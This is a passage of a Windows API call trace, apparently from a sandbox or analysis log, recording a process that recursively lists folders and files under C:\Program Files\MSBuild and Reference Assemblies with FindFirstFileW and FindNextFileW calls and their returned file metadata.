lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.914] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.914] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0057.915] GetLastError () returned 0x12 [0057.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.915] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.915] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0057.915] GetLastError () returned 0x12 [0057.915] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.915] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0057.915] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0057.915] GetLastError () returned 0x12 [0057.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.916] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.916] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0057.916] GetLastError () returned 0x12 [0057.916] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.916] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0057.916] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0057.916] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.916] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0057.916] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0057.916] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0057.916] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0057.916] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0057.916] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0057.916] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0057.917] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6d919d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6d919d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0057.917] GetLastError () returned 0x12 [0057.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\*" (normalized: "c:\\program files\\reference assemblies\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6d919d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6d919d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0057.918] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6d919d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6d919d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.918] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0057.918] GetLastError () returned 0x12 [0057.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0057.919] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.919] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0057.919] GetLastError () returned 0x12 [0057.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.919] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.919] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0057.920] GetLastError () returned 0x12 [0057.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0058.096] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.097] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0058.101] GetLastError () returned 0x12 [0058.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0058.120] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.120] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0058.120] GetLastError () returned 0x12 [0058.120] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0058.121] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0058.121] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0058.121] GetLastError () returned 0x12 [0058.121] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0058.121] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0058.121] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0058.121] GetLastError () returned 0x12 [0058.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0058.127] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.128] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0058.128] GetLastError () returned 0x12 [0058.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0058.128] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.128] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0058.128] GetLastError () returned 0x12 [0058.129] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0058.129] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0058.129] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0058.129] GetLastError () returned 0x12 [0058.129] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0058.129] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0058.129] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0058.129] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0058.129] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0058.129] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0058.129] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.130] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.130] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: 